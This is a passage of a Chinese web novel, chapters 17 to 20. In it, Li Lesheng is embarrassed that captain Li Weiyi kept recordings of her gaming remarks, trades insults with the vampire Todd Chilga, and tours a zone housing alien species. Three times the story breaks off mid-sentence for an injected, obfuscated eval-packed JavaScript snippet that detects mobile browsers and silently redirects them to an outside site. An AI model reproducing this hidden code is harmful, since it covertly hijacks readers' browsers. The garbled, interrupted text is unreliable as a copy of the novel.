这声音,李乐生可太熟悉了。 【《物语》你这音乐配的好啊!不穿衣服更是好啊!狠狠的媚,就要媚我!】 李乐生整个人瞬间成了一只红番茄。 这是她的声音啊啊啊啊啊!!!! 两句语音直接让李乐生恢复了那远古的记忆,是她第一次看到托德·奇尔加出场时,当时游戏给了大特写时她的发疯语录。 “为什么你会有?”李乐生的声音都在发抖。 “不对!你该不会!!”她的声调忽然拔高。 “不会……这些全都是我的声音吧?我玩游戏的时候吐槽的话,你也能听见!?” 李乐生有史以来反应力最快的一次。 尽管声音音调很大,但其实她已经快要碎掉了。 她不可置信的看了眼悬浮框,又看向李唯一,整张脸扭曲的几乎要哭了,但还有一丝自欺欺人的乞求。 随后,在她绝望崩溃的眼神中,漂亮的治安队长点了下头。 李乐生身体一僵,完了。 她想死。 易拉罐“啪嗒”一声掉在地上。 女人两眼一黑,双腿一软倒了下去。 李唯一眼疾手快的伸手,将李乐生瘫软的身体抱住,怀中的女人此刻像是一条纤细柔软的柳枝,又像是一捧雪,稍微用力似乎就散了。 未喝完的汽水此时蔓延在地砖砖缝之间,还有一些溅到了李唯一的长靴鞋面上,空气中那股若有若无的水蜜桃味更明显了。 天旋地转须臾后,李乐生眼前又恢复了清晰的场景。 整个世界此刻在她眼中是倒着的。 正在此时,李唯一又扶着她的脑袋,将她整个人都拥进了怀里。 “清醒了?”脑袋上方传来李唯一贴心的询问声。 “不想清醒。”李乐生机械的回话。 怎么不让她直接昏死过去! 她到现在脑子里还是嗡嗡作响,整个人都不怎么能使得上力气。 她甚至判断不出来,现在的她到底是凭借自己的力气站着的,还是被李唯一抱着整具身体的重量都靠在对方身上才保持着站姿的。 玩游戏吐槽的话被自己的主控全部听见还保留了语音文件。 这件事给她带来的冲击太大了。 无异于一个单身独居人士休假日在家里戏瘾发作一人分饰三角上演了一幕狗血伦理剧里【男主车祸失忆女主痛不欲生女配得意忘形】的爽快桥段后,却发现自己的窗帘没有拉,而对面楼层正有人将这一幕看的清清楚楚。 要问李乐生为什么会这么清楚? 当然是因为这种尴尬社死的桥段也发生在了她身上。 李乐生甚至都忘了自己现在身处何处,到底要干什么。 但李唯一还记得,“那你还喜欢托德·奇尔加吗?” “别逼我扇你,宝。”李乐生有气无力、心死如灰,但言辞犀利。 李唯一:“对不起。” 尽管怀中的人说话时轻飘飘的,没有一丁点威胁,但李唯一知道对方会真的给她一巴掌。 她识时务的道歉。 “那我关掉它?”她又问道。 这还用问她吗? 李乐生有气无力的抬起了自己耷拉着的右手。 这是一次十分没有威慑力的警告。 18. 第 18 章 有句话怎么说的来着? 人在倒霉的时候,喝凉水都会塞牙。 意思是,人一旦倒霉,就像打开了某种开关,更多倒霉的事儿会接踵而至。 虽然死不了,但足够折磨人。 李乐生觉得,社死也是一样的。 说起来,社死本来就属于倒霉的一种。 她做了好大的心理建设,总算是将自己的心态从【能不能让我瞬间原地无痛死亡】调整到【李乐生你吃人嘴短这点羞辱怕什么?大女人要忍辱负重!】 她努力的将自己身上的那点儿不自在、不舒适化解掉。 李乐生双手抓着李唯一的胳膊,退了两步,双腿力气还有点虚浮的她努力让自己站稳。 猛吸了好几口气,又抬头,镇定的开口。 “既然你能听见我玩游戏时的那些话,那你就应该明白,我说的很多话都是心头一热,不作数的。” 有时候人真的是个很奇妙的生物。 越想镇定冷静,就越紧张,她说到最后那四个字的时候,嘴角甚至抽搐了一下。 “你那么聪明,总该明白的吧?”问出这句话的时候,李乐生的表情已经快绷不住了。 啊!!!她真的没有办法完全不在乎啊! “嗯。我明白。”李唯一面无表情,实则内心藏着一股坏心思的愉悦。 在她面前,李乐生那些强压镇定的慌张动作实在是过于明显,比如说话时掩饰不住的变音的语调,又或者维持着得体笑容时的那张脸上却有一双频繁眨动的、不自信的眼睛,还有说完话后喉咙滚动的那个微小表现。 明眼人都看的出,黑发女人完全是在强撑着。 如果现在有一根羽毛飘然而来落在李乐生的身上,女人怕是承受不住那点轻飘飘的重量。李唯一心中细想。 想到这里,她又觉得自己有些无耻。 因为一时的吃醋,没有顾及到李乐生对外界关注点的态度,这样贸然的让李乐生陷入了尴尬的境地。 虽然看到了女人极为生动的、可爱的一面,但李乐生的精神上是并不舒畅的。 李唯一有一丝懊恼。 李乐生觉得她是一个克己复礼、宽容慈悲的好人。 她也确实想要成为这样一个人。 甚至可以说,在成为治安官之后,她的确一直维持着这样的品行。 但这些利他的、雅致的品行,在与李乐生面对面的时候,就已经不再纯粹了。 在那个餐馆。 当她的眼睛捕捉到李乐生的身影时,当她表面从容不迫的走进餐厅时,当李乐生的身影从隔着玻璃墙变成坐在她身侧的桌前发呆时,当她从老板的口里听到李乐生的名字后与李乐生四目相对的时候。 长久以来,她一直维持着的优秀品行在此刻变成了一张裂开一道缝隙的面具。 那道缝隙里,是她最昏暗的日子里,绝望无助的时候,想要割舍都无法放弃的感情。 是对李乐生的感情。 她本已经做好了未来直至死亡都将这段感情隐没于时光的准备。 可是李乐生现在来了,她就没办法了。 “你明白你还揪着我不放。”李乐生的声音有些许的不满,眼睛里都是控诉。 她看着李唯一,只觉得女人那双浅金色眸子里的情绪过于复杂。 像是在看她,又像是在透过她看向更多的东西,目光似是化作了实体,触碰着她的每一寸皮肤,每一根发丝。 李乐生不由自主地抖了一下。 “我脑子糊涂了,对不起。”李唯一突然就笑了起来,好似得到了什么好东西。 李乐生:? 她觉得李唯一今天真的有点奇怪了。 难道是被【异常者安定区】里的特殊磁场影响到了吗? “你笑的好……”李乐生的话没有说全。 她不知道该怎么说。 李唯一的笑实在太奇怪了,到底在沾沾自喜什么啊? 根本看不出来半点歉意。 “对了,这些音源……我的那些话,其他人也能听到吗?” 李乐生猛然想起,如果她吐槽的那些话传到了游戏里,那岂不是全球播报吗? 这样的事情她不要啊! “只有我。” 还好,李唯一总算给了她一个安心的答复。 只要不是全球播报就好,李唯一一个人听见就听见吧,她现在已经坦然接受了。 她就是这么一个上一秒心态崩溃濒临破碎下一秒就能迅速建立起心理防线的耐活脆皮王。 “哇哦~两位感情真好啊。”忽然男人的声音响起。 声音略带点讥讽,咬牙切齿般。 李乐生转过头,发现身旁站着一个穿着黑色风衣的男人。 敞开的风衣下是立领的白衬衫,还打着根领带,纯黑,干净,垂坠感十分好的一件黑色西装裤。 这些绅士的穿搭不是最重要的。 重要的是男人的这张脸,她一眼就认出来了。 绑在脑后的银发马尾,银丝椭圆框眼镜下那双红色的眼睛,白到几乎发光的皮肤。 “托德·奇尔加!”李乐生脱口而出对方的名字。 “哎?感觉没那么惊艳。”她又转头看了眼李唯一。 眼睛再次得到了满足。 果然看惯了李唯一的脸,再看其他人,也就那样。 当然,也不排除她本身对托德·奇尔加的那点子偏见。 男人本就有点不爽,听到李乐生喊出他的名字后,眼神一暗,看向李唯一,“你将我的名字告诉她了?” 他比李唯一稍微高一点,与李唯一内敛无害的气质相比,托德·奇尔加要更加气势逼人,冷着一张脸都让人觉得不敢靠近只可远观。 但偏偏在李唯一面前,他锋芒毕露的冷傲气势显得很没底气。 “告不告诉她有那么重要吗?”李唯一罕见的声音冷了下来。 听的李乐生都有点突兀。 她很少听到李唯一这样冷漠的、不太礼貌的样子。 “这样一个人,要身材没身材,要样貌没样貌……”托德·奇尔加忽然将战火引到了李乐生身上。 李乐生:! 李乐生:? 莫名其妙就被人身攻击了? 李唯一“啧”了一声。 男人住了嘴。 但是那双眼睛却盯着李乐生。 “你说话可真刻薄啊。”李乐生不满道。 她确实不是什么大美女,但她又不去演偶像剧,也没去当美女网红,现实里也很少标榜自己是美女。 这吸血鬼莫名其妙的,一上来就对着她一通贬低。 神经病啊。 她其实一直挺不喜欢这个角色的。 至于对方第一次出场时她发的那些癫话,那纯纯是光看脸了。 后来发现这人,哦不对,这吸血鬼嘴上没几句好话,还老是一股子盛气凌人的样子,就让她心烦。 偏偏这吸血鬼没干过什么坏事,以至于到她退游那会儿,都没把这个角色给杀了。至少那个时候,李乐生是这么想的。 现在你要让她真杀了对方,那肯定不行。 先不提她没那能力,就是有能力,对方也就是嘴贱毒舌,说话刻薄,还没到必死的地步。 “漂亮话是说给漂亮人听的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915125|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托德·奇尔加冷笑道。 他看着李乐生时,那双不屑的眼中还有着几丝嫉妒。 哎?嫉妒? 李乐生充分的发挥了自己生活中察言观色的才能。 这人为什么要嫉妒她? 她思索。 “别盯着她了。”李唯一忽然开口,语气中的不耐烦更明显。 女人甚至还拉了一下李乐生的胳膊,轻拽着对方,将李乐生的一半身子都挡住了。 她很是自然的,手掌下滑,随后牵住了李乐生的手。 嗯? 李乐生看着自己右手的五根手指与对方十指相扣,下意识地想挣开,却被李唯一更用力的抓紧了。 偏巧托德·奇尔加这时又说话了,她只好放弃。 “你拒绝我那么多次,到头来选了这样一个毫无特质的普通人,她甚至脆弱的别人轻轻一碰就会死。”托德·奇尔加的语气比刚才激动许多。 李唯一与李乐生十指紧扣的画面显然是刺激到了她。 李乐生:哎?有瓜? 她脑子里忽然就想起来了。 以前玩游戏的时候,她确实走的【救世主】的孤家寡人线,但是有的角色对她是单相思啊。 好吧,现在是对【李唯一】。 原来托德·奇尔加就是单相思的其中一个吗? 李乐生大为吃惊。 实在是游戏设定和情节分支发展的太多了,这些碎片化的记忆只有撞到了才能想起来个大概。 “一个莫名其妙出现的人,你对她一见钟情了?真够可笑的。”托德·奇尔加依旧讥讽。 李乐生:“你说话真酸。” 李唯一有些诧异的回头,看了眼李乐生。 银发吸血鬼同样看了过去。 只见李乐生满眼的嫌弃,又说道,“少来吃这莫名其妙的飞醋了,单相思就给我卑微的暗恋啊,还敢在我这个正牌伴侣面前挑衅。” 说到“正牌伴侣”这几个字的时候,李乐生心虚的看了眼李唯一。 四目相对,李唯一似是被她的话惊到,瞳孔都有些微颤,但是并没有出声阻止。 李乐生心里就有了底气。 “她就是对我一见钟情了怎么样?气死你。”黑发女人梗着脖子,有些贱兮兮的说道。 李乐生倒不是真的在炫耀自己的“正牌伴侣”身份,她很清楚,自己和李唯一的【伴侣】关系并不是因为爱情。 但是托德·奇尔加的话让她很不舒服。 就像是在指责李唯一,喜欢也不知道喜欢个好点的,拒绝我后就找了个这样的,品味就这? 真是傲慢的很。 而且,就算她确实不是个漂亮的大美人,但是也没必要贬低到如此吧。 毫无特质都说出来了。 说的她跟个废物一样。 至于一见钟情,托德·奇尔加又不知道她和李乐生的关系,在他视角里第一天见面,第二天闪婚,可不就是一见钟情吗? “她喜欢谁都不关你的事,有空指责她看不上你,不如好好想想自己为什么长得帅身材好有能力还不讨人喜欢吧!死毒舌男。”李乐生躲在李唯一身后,很是爽快的进行了一波输出。 也挺刻薄的。 她看到托德·奇尔加脸色都不对劲了。 显然是被她的话噎住了。 放在以往,她是绝对不敢这么对一个男人说话的,现实生活里的超雄爹味死装男可太多了,她这么怼容易招来仇恨。 但现在她有李唯一在面前挡着,李唯一是可以把托德·奇尔加摁在地上打的。 李唯一。 一个强壮的令她十分有安全感的女人。 19. 第 19 章 “牙尖嘴利。” 托德·奇尔加死盯着李乐生,双眸中没有一丝友善的情绪。 但也就限于眼神攻击了。 “你也不遑多让。”李乐生不落下风,还了对方一个成语。 李乐生可不怕这种轻飘飘的眼神,根本没有任何实质性的杀伤力。 而且,这个吸血鬼除了说话的时候爱夹枪带棒,基本没啥缺点。 李乐生讨厌他,但也承认他有一定的优点。 两个人隔着李唯一,专注的对视着,像是在比赛,谁先眨眼谁就输了似的。 一只手忽然横在李乐生眼前。 吓得李乐生连忙闭上了眼,脑袋往后移了移。 “哇!李唯一。”她喊着那只手的主人。 “干嘛突然伸手,吓我一跳。”她有些不满的嘟囔起来。 话音刚落,她的右手被对方又施加了一点力气,她的注意力又被对方掌心的温度吸引。 李乐生低头看向两个人紧扣的十指,其实说紧扣也不太准确,因为她根本没用力,是被李唯一掌控着的。 手好漂亮啊。李乐生还真研究起来了。 稍微抬起,观察着女人的手腕、指尖和微微泛白的指关节。 还能看到皮下的血管。 李唯一看了一眼李乐生,就知道对方这是又陷入自己的小世界了。 她没有叫醒对方,任由女人进行小动作。 再次看向托德·奇尔加,不善的目光里全是警告。 十分有针对性的、明晃晃的警告。 吸血鬼甚至被李唯一情绪过于外泄的这一眼吓了一跳。 在他的印象中,李唯一从始至终都是一个情绪淡泊的人。 无论是与【异常】作战,还是安抚市民,至少在托德·奇尔加所在的场合里,他从来不曾在这个女人的身上见到一丁点儿活人会有的七情六欲。 好像在李唯一的身上,喜怒哀乐等等情绪,都是一种设定好的程序。 比如工作时手下出错,她会做出一副谴责的神情。 又比如面对【异常】破坏城市的时候,她会做出一副严阵以待的坚定神情。 或者说,当有市民需要她帮助的时候,李唯一会挂上一副柔和的笑容以安抚市民。 …… 她就像在自己的大脑里已经设定好了某种程序,面对市民时该如何,面对异常时该如何,面对自己的工作同伴时又该如何。 而脱离了这些场景的李唯一,似乎没有自己独属的情绪。 她会因为什么而高兴,会为了什么事伤心,有什么烦恼吗? 这些种种,在李唯一的身上是不存在的。 但是今天,托德·奇尔加看到了。 他看到这个无欲无求的女人,因为李乐生牵动的情绪。 在二楼大厅的窗前,他看到李唯一的笑,那不是公式化的接待市民的笑容,是看着自己的爱人时,满足享受的笑。 女人就跟在李乐生的身后,目光总是追随着李乐生,有时是对方的身体,有时是对方的影子,连走路的步调都配合着李乐生。 走着走着,隔着玻璃的他又看到两个人停了下来,大片的树荫遮挡住了李乐生的上半身,但他能够看到李唯一的模样。 这个A组的治安队长,她在生气。 作为活了千年的吸血鬼,他太了解李唯一这种生气的神情了,是控诉和不甘。 可是能有什么让李唯一出现这种不甘心的情感呢? 他的心中顿时生出一种恐慌,就像是自己视若珍宝的某个东西,被人偷走了。 他跑下楼,穿过大厅,走下台阶,看到小径上,李唯一正抱着她的伴侣,神态温柔,还有一种得偿所愿的魇足。 他很清楚,这是爱。 这个人,她活了。 “离她远点。”李唯一冷冷的开口,声音好像结了冰。 吸血鬼嘴巴微张,却没说话。 只那双眼睛,蔓延着一股受伤的情绪。 李唯一却像没看见,不,应该说她看见了,但是不为所动。 她并不在乎托德·奇尔加会不会伤心,在她眼中,这个吸血鬼对她的一厢情愿和情根深种,与【厄斯星】的空气并无两样。 “我又没对她做什么,你没必要这么紧张。”托德·奇尔加闭上眼睛,再次睁眼,恢复了平日里的傲气凌人。 “况且,我们认识这么多年,你觉得我会为了感情对一个手无缚鸡之力的人动手吗?” 他确实很受伤。 心中那股不甘心仍未排解。 但也不至于做一个恶毒的妒夫。 “不……”李唯一声音停顿一瞬,看了眼李乐生,又道,“总之,无论如何,离她远点。” 语气里的躁郁甚是明显。 这股子反常的保护,即便是正在经受情伤的吸血鬼本人,也察觉到了。 李唯一明显不是怕他伤害李乐生。 就是单纯的讨厌他靠近李乐生。 可是……为什么? “我不会对她做什么的。”托德·奇尔加将这股疑问按下不表,他即便是问,李唯一也不会回答他的。 还是等日后有机会了,他自己找找线索吧。 “喂!小豆芽。”他又冲李乐生喊道。 声音较他们二人说话时,明显偏高。 李乐生被这突兀的一声喊回神,抬头,对上那双恶劣的红眼睛。 “什么?”她没有听清对方刚刚喊的内容。 “我说你,小豆芽。”吸血鬼挑眉,“我是这个【异常者安定区】的负责人之一,给点面子,带你逛逛如何?” “不需要,我自己可以陪着她。”说话的人是李唯一。 女人面上的嫌恶很是明显。 “离她远点。”她又重复。 “如果她不愿意的话,我不会死赖着你们的。”托德·奇尔加耸肩。 说真的,李唯一那双眼睛里对他的敌意现在越来越明显了。 跟看情敌似的。 “我不愿意,你赶紧走。”李乐生面无表情的拒绝。 语气很是不爽。 “红眼怪。” 托德·奇尔加:? 他这双眼睛被多少人用着极为优美的华丽辞藻夸赞过,到李乐生嘴里变成了红眼怪。 “没有审美把自己眼睛挖了吧。”托德·奇尔加冷笑。 “不会说话也可以把嘴巴缝上呢。”李乐生歪头假笑,露出标准的上排四颗牙齿。 “【厄斯星人】的平均身高是一米六五,我叫你小豆芽已经是在赞美你了。”吸血鬼再次冷笑。 “活了几千年还想追人家二十二岁的小姑娘,你个老不死的也是没有自知之明了。”李乐生陪了一张冷笑。 托德·奇尔加:“……你。” 他万万没想到,这个世上除了李唯一外,还有第二个人令他说不出话。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920060|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯一当年是直接采取的武力压制,打得他根本开不了口。 如今的李乐生是一张三寸不烂之舌,怼的他找不着北。 而这两个人,现在还是一对伴侣! “够了!”李唯一突然厉声。 女人强忍着怒气,精神力甚至有些许的波动,“回你的办公厅去,托德。” 吸血鬼感知到了那恐怖的威压,身形有一瞬间的下塌。 “你!”他不可置信的看着李唯一。 他完全没想到,李唯一竟然会动用精神力压制他。 异能者的精神力对于他们这些【异常】而言,就是桎梏和枷锁。 “我的忍耐是有限的。”治安队长的那双眼睛中毫无温度,看着他时,就像是在看一个囚犯。 这个人,现在连愤怒都这么丰富。托德心想。 他下意识地想要看向李乐生,他好奇李乐生到底有什么魔力,能让李唯一如此的生动。 猝不及防的,脑子里出现一阵嗡鸣。 “唔——”他咬着牙,身体不由得倒下,但仍强撑着,左膝跪地,扶着脑袋。 没让自己睡在地上。 该死! 他的头要炸开了。 那股嗡鸣声就像是生锈的钢锯正在他的颅骨内壁来回的拉扯摩擦,骨传导的声音堵住了他的双耳,像是湖面的涟漪一般,层层泛起,只在他的大脑内盘旋回响。 他恨不得有一把斧头直接劈开他的脑袋,让那些该死的声音释放出来。 李乐生被男人吓了一跳。 上一秒还正常人般的站着呢,下一秒忽然就捂着脑袋半跪在了地上,更别提他狰狞的表情了。 “他怎么了?”李乐生赶忙拉拉李唯一的手。 精神力收回。 李唯一瞥了眼从痛苦中挣脱出来的吸血鬼,对方还没起身,左膝抵着地面,呼吸略急。 “他有头痛的老毛病,不用理他。” 李乐生:“吸血鬼,也有偏头痛吗?” 她是真有点好奇了。 “这我就不清楚了。”李唯一微微一笑,摇头。 “托德,回去休息吧。身体要紧。”李唯一转头,语气温和的叮嘱这个老朋友。 吸血鬼已经从地上站了起来,发型略狼狈,他扶着眼镜,点头,浅笑回应,“我知道了。” 二人的交谈并没有让李乐生察觉到什么不妥。 李唯一带着李乐生越过他,缓步离开。 “等一下,我垃圾没捡。”李乐生又踱步回来将自己的易拉罐捡起来。 “好像没看到垃圾桶。”她又说。 “拐角的主道路上有。”李唯一说道。 “看到了!” “话说他头痛应该不是我气的吧…” …… 李乐生的说话的声音由近及远,逐渐变小,最终消失。 托德站在原地许久,仍带着点晕眩的双眼目光落在随意某处,脑海中不断回闪着李唯一的那张脸。 曾经的他以为,李唯一没有欲望,她的诞生便是为了保护【诺城】。 李唯一也确实将【诺城】和公民们放在第一位。 他不能也不会去强迫一个无欲的人对他产生爱欲。 所以他选择望着李唯一。 直到今天,他才发现,李唯一原来也是个有感情的活人。 过去几年,他所接触到的那个淡泊寡欲、超脱物外的李唯一,原来都是假的。 20. 第 20 章 生物多样性。 李乐生觉得这个词用来形容【异常者安定区】实在合适不过的了。 在这里见到了诸多奇形怪状的外星生物后,她由衷的钦佩【厄斯星】的包容。 “也并非每个城市都这样包容。”李唯一解释。 两人正站在一处【隔离区】的玻璃墙外。 在【安定区】内,有些【异常】可以做到和【厄斯星人】一样正常的居住在建筑楼中生活,但也有一些【异常】是需要依赖特定环境的。 就像狗和鱼,狗可以和人类一样在陆地上生存,而鱼是不能离开水的。 这种需要【舒适环境】或者大批成群的外星生物们,【诺城】会派相关的研究者和实验人员为Ta们搭建、模拟最贴近原生态星球的社会环境。 其中包括空气湿度、土壤元素和植物种类等。 搭建好后的社会环境则会被技术人员们再次以特殊材料制作的超硬度玻璃墙隔离开,在隔离区内,这种模拟好的【环境生态】将会自发活动,成为这些外星种族在【厄斯星】生活的一方天地。 尽管不自由,但为了生存,这已经是最好的措施了。 而现在,她们两人所在的【隔离区】属于瓦特纳星球生物的居住地。 瓦特纳人,拥有着和蚂蚁相似的外形,但ta们的体型基本都在两米之上,头顶的两个触角拥有着类似声波雷达的效果,可以接收到以自身为起点方圆五百里的所有声音频率。 TA们通体漆黑的身上,在触角与脑袋连接的部分、纤细的腰部都覆盖着一层厚度明显的坚甲。 李乐生注意到,这些瓦特纳人和她见过的蚂蚁一样,都有六条腿,但不同的是,在瓦特纳人下半身的巨大腹腔体是四足平移的,而上半身与人类一样都是可以直起身子的,由TA们中胸两侧延申的两条足和人类的胳膊有着相同的作用。 可以用来搬移东西,也可以用来挥动打招呼。 就像现在,隔着玻璃,有一个瓦特纳人正转过头,和她身侧的李唯一挥动着前足。 如若说有什么不同,那就是,TA们没有五根手指。 前足光滑的尾部其实是可以收缩舒展的锋利锯齿。 这种锋利锯齿可以使瓦特纳人战斗,也可以助TA们攀爬。 “好像很多这种群居类的【异常】都没有手环哎?”李乐生回想着之前和李唯一见到的【布偶人】,和瓦特纳人一样,没有【ID手环】。 但是之前遇到的托德手上也是戴着的。 【布偶人】来自于另一星系,TA们浑身上下都是软绵绵的,和很多布偶一样,皮肤触感是毛茸茸的,本名是【莱恩星人】。但因为外形和小孩子们喜欢的毛绒玩偶太过相似,甚至可以做到在一群玩偶中央以假乱真的地步。 于是被人们称为【布偶人】。 TA们对于外人没有任何攻击性,不能说话,只能通过触摸或者其他动作表达情绪。 很多【布偶人】整日里都是懒洋洋的待在一个地方,偶尔有几个较为活泼的少数例子会在【异常者安定区】内散步。 值得一提的是,【布偶人】很喜欢【厄斯星人】为TA们起的这个名字。 “因为还不能完全的解读这些外星种族的DNA,能够被收入中央的ID数据库的种族,都是生物研究所解析了DNA结构的。”李唯一向那个【瓦特纳人】微微点头微笑,算是回应TA的招呼。 “那你刚刚说不是所有地方都这么宽容,是什么意思?”那个【瓦特纳人】又冲着李唯一身边的李乐生挥手。 李乐生不明所以,但还是礼貌的朝对方挥手微笑。 其实【瓦特纳人】的那张三角锥形的脸上实在看不到什么表情,黑到发亮的皮肤下,最明显的是上下颚两侧长出来的粗壮钳齿。 TA们相比起人类的五官,实在看不到什么丰富的表情。 李乐生甚至不知道TA的眼睛有没有在看自己。 因为TA们的眼睛不像人类那样拥有三层分明的感光系统,漆黑的半球形巨型眼睛分布着密密麻麻的小眼,反射着周围角度的各种景致。 但李唯一身边就站了个她。 而且她不觉得这个瓦特纳人是在向其他的族人打招呼。 因为挥手问好是【厄斯星人】之间的方式,瓦特纳人打招呼的方式是通过触角散发声波让其他人接收,或者是身体某个部位分泌信息素,随后其他人通过触角感知信息素里的味道来判断处境。 TA们的触角承担了听觉、嗅觉两种系统。 “我们星球的本土居民也是有很多人种的,不同人种自然会诞生不同的文化。虽然现在大家都在说着相同的【星球语】,但是【联邦】一直很尊重本土星球的各地生态,基本不会强行的主动的去改变相应的自然生态,因为这会导致星球生态系统的大变动,【厄斯星】以前是有过经验教训的。” “地理环境的差异会影响族群的发展与生长。【诺城】是个移民居多的城市,且由于地产丰饶,地形平坦,所以很适合居住。人们的竞争意识并不强大,而且对于外来文化会也极具有包容性。这就是为什么【诺城】的高层可以征集城市居民的意愿建造【异常者安定区】,并尽量的为这些【异常】提供舒适的生活环境。” “像【极地】那种地区,现阶段已经没有常住居民了,基本是一群【治安官】和他们的家人在那边居住,如果有【异常】在那边发生,基本都是直接抹杀的。因为没有足够的技术可以在那样恶劣的环境下建造【安定区】。” 李乐生:“啊……” “怎么了?觉得有点残忍?”李唯一注意到了李乐生的欲言又止。 李乐生抿嘴,脸颊微微嘟起,又摇头,“不能说觉得残忍吧。” “就是觉得好像也没得选。”李乐生用自己并不博学的知识,结合着刚刚获取的知识,勉强说出了自己的理解,“你说过【极地】那边的生态环境是十分恶劣的,气温都已经到达-100℃了,【治安官】们即便有精神力护体也不易长时间在外生存,他们的基地都需要燃烧【圣石】维持温度。【异常】来临,无论如何都是极不稳定的,似乎直接【抹杀】是最有效率、最安稳的做法了。” “我觉得如果其中有误闯进来的【异常】,那ta们确实很可怜。但我也没办法给出更好的解决办法。”李乐生道。 她的准则一向是,如果对某件事、某个现状不满,她有解决的方法,她就去做。 如果她没办法解决,那就尊重当事人的处事方法。 虽然这个准则不一定完全正确,但也确实在很多时候是可行的。 【厄斯星】这里也是。 “你说得对。”李唯一笑道。 “不过,为什么没有想过利用【跃迁】将TA们带来【诺城】或者其他城市可供【异常】们生活的地方呢?” 问出这个问题后,还没等李唯一说话呢,李乐生倒是脸色急转,一副十分恐慌的神情,“我只是疑问是不是能这样做?” “不能做的话我也不会有什么意见的!” “我对于你们的【异常者处置法案】没有丝毫的异议和不满!” “我只是突然想起来,你们【治安官】好像可以【时空跃迁】来着,所以才想起来也可以转移【异常】。” “啊当然了!我也没有一定要【诺城】接收其他地区的【异常】,如果说这个方法会使得【诺城】的生存资源紧缩,那肯定是不能用的。” “总之,总之……我就是突然联想到的!我没有半点对你们的政策的不满。” 李乐生话语急促,一句接着一句,摆手,睁大眼睛,语气夸张,这是典型的强调性表达。 她甚至脸上都有一种哭相。 李唯一沉默的看着李乐生的这一串连招,忍不住想笑。 “你这么紧张干什么?好像我是什么魔鬼,会因为你这一句话吃掉你似的。”她还真笑了。 说话的时候都是边笑边吐字。 “呼——”李乐生如释重负的吐了口气。 甚至还抹了把额头不存在的汗,才开口,“你不懂,上网上多了,不叠甲真的寸步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927023|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难行。” “我说的是我们地球的互联网。” 她补充道。 “叠甲?”李唯一确实不懂。 “额……”李乐生言语卡壳了,她实在不知道该如何向李唯一表达这个词的含义和目的。 几番思索后,她略显罗嗦的举了几个自己在网上评论后被杠精疯狂抬杠甚至拉黑后对方还要换小号继续攻击的例子,才让李唯一明白了她的不易。 “应该是网络监管巡查系统不太完善,才会导致有各种舆论站,就像你所说的【网暴】【私信辱骂】等等。”李唯一给出了自己的结论,“不过这只是我的个人猜想,我并没有直接接触过你们的环境,所以不一定准确。” “其实挺对的,差不多对了一大半。”李乐生抬手拍拍李唯一的肩膀,“关于网暴的立法我们的很多国家甚至都不完善,只能说前路任重而道远。” “哎?怎么又扯远了。”她发现自己又偏题了。 “不是在聊【安定区】的这些居民吗?” 李唯一点头,笑,“是有点扯远了。” “那你还跟着我一起偏题。” “因为你聊的东西对我来说都很有意思,偏题也是。” “这说的我都有点不好意思,其实像我这种讲话经常偏题的人,长时间相处的话,很多人都受不了的。”李乐生眼睛下移,她觉得自己有点卖可怜了。 “但我是独一无二的。”李唯一的手伸出来,拨开盖着李乐生侧脸的那些头发。 李乐生:“啊?” 她转头,又看李唯一,脸颊便贴在了李唯一的掌心。 两个人的体温交融,李唯一掌心的、指尖的温度都比她的脸颊温度更高些。 暖呼呼的。 李唯一挑眉,“你不是说过吗?我是独一无二的。” 李乐生:啊。又是音源。 “你到底听到了多少啊……”她无奈的吐槽。 李唯一笑眯眯道,“很多。” “可这和我的说话习惯有什么关系?”李乐生有点不明白。 “你那时候说,在你的心里我是独一无二的。” “对我来说,你也一样。” “所以,我会接纳你所有的语言和思想。” 治安队长温柔的表述自己的想法后便收回手,李乐生感觉到她的脸颊上还残留着那股暖呼呼的温度。 “你们异能者的体温都这么高吗?”李乐生抬起手摸了摸自己的另一张脸颊,手掌心的温度虽然比自己的脸要高,但也没到微微发烫的地步。 她甚至不信邪的换了只手。 这是又思维发散了。 挫败感再次涌上心头,李唯一叹了口气,颇有种恨铁不成钢的意味。 “我们的细胞运动、迁移和分裂活动都是普通人的十倍不止,因为精神力的运用是需要大量的能量的,所以细胞运动的水平自然要增加,只有这样才能有更强壮的精神力躯壳。” “体温自然而然也会高出常人。” 虽然无奈,但她还是耐心的解释了自己与普通人的不同。 “原来如此。”李乐生点头,恍然大悟。 